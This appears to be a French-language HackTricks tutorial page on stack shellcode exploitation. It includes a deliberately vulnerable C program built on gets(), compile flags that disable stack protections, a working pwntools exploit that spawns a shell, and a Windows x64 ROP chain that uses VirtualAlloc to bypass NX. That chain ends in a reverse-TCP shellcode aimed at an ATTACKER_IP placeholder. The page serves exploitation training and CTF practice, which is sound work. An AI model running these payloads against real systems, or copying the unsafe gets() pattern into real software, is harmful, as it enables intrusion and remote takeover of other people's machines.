Stack Shellcode
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Stack shellcode est une technique utilisée dans la binary exploitation où un attaquant écrit du shellcode sur la stack d’un programme vulnérable puis modifie le Instruction Pointer (IP) ou Extended Instruction Pointer (EIP) pour pointer vers l’emplacement de ce shellcode, provoquant son exécution. C’est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici une description du processus, incluant un exemple C simple et comment écrire un exploit correspondant en Python avec pwntools.
Exemple en C : Un programme vulnérable
Commençons par un exemple simple d’un programme C vulnérable :
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Ce programme est vulnérable à un buffer overflow en raison de l’utilisation de la fonction gets().
Compilation
Pour compiler ce programme en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante :
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector: Désactive la protection de la stack.-z execstack: Rend la stack exécutable, ce qui est nécessaire pour exécuter le shellcode stocké sur la stack.-no-pie: Désactive Position Independent Executable, ce qui facilite la prédiction de l’adresse mémoire où notre shellcode sera situé.-m32: Compile le programme en exécutable 32-bit, souvent utilisé pour simplifier l’exploit development.
Python Exploit using Pwntools
Voici comment écrire un exploit en Python utilisant pwntools pour réaliser une attaque ret2shellcode :
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Ce script construit un payload composé d’un NOP slide, du shellcode, puis écrase le EIP avec l’adresse pointant vers le NOP slide, garantissant que le shellcode soit exécuté.
Le NOP slide (asm('nop')) est utilisé pour augmenter la probabilité que l’exécution “glisse” dans notre shellcode, indépendamment de l’adresse exacte. Ajustez l’argument de p32() à l’adresse de départ de votre buffer plus un offset pour atterrir dans le NOP slide.
Windows x64 : Contournement de NX avec VirtualAlloc ROP (ret2stack shellcode)
Sur les versions récentes de Windows la stack est non-exécutable (DEP/NX). Une méthode courante pour exécuter quand même un shellcode résidant sur la stack après un stack BOF consiste à construire une ROP chain 64-bit qui appelle VirtualAlloc (ou VirtualProtect) depuis l’Import Address Table (IAT) d’un module pour rendre une région de la stack exécutable, puis retourner dans le shellcode placé juste après la chain.
Points clés (convention d’appel Win64) :
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload
- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Stratégie minimale :
- Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
- Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
- Place stage-2 shellcode immediately after the chain.
Example layout (conceptual):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
Avec un ensemble de gadgets restreint, vous pouvez construire des valeurs de registres indirectement, par exemple :
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → définir r9 depuis rbx, mettre r8 à zéro, et compenser la pile avec un qword de remplissage.
- xor rbx, rsp; ret → initialiser rbx avec le pointeur de pile courant.
- push rbx; pop rax; mov rcx, rax; ret → placer dans RCX une valeur dérivée de RSP.
Pwntools sketch (en supposant une base connue et des gadgets) :
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
Conseils :
-
VirtualProtect fonctionne de façon similaire si rendre un buffer existant RX est préférable ; l’ordre des paramètres est différent.
-
Si l’espace stack est limité, allouez RWX ailleurs (RCX=NULL) et jmp vers cette nouvelle région au lieu de réutiliser la stack.
-
Tenez toujours compte des gadgets qui ajustent RSP (p.ex., add rsp, 8; ret) en insérant des junk qwords.
-
ASLR should be disabled pour que l’adresse soit fiable entre exécutions, sinon l’adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin de quelque leak pour déterminer où la win function est chargée.
-
Stack Canaries devraient aussi être désactivés sinon l’adresse de retour EIP compromise ne sera jamais suivie.
-
NX stack protection empêcherait l’exécution du shellcode dans la stack parce que cette région ne sera pas exécutable.
Autres exemples & références
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR avec leak d’adresse de stack, écrire un shellcode et sauter vers celui-ci
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR avec leak de la stack, écrire un shellcode et sauter vers celui-ci
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR avec leak de la stack, comparaison pour empêcher l’appel à exit(), écraser une variable avec une valeur, écrire un shellcode et sauter vers celui-ci
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, pas d’ASLR, gadget ROP pour rendre la stack exécutable et sauter vers le shellcode dans la stack
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

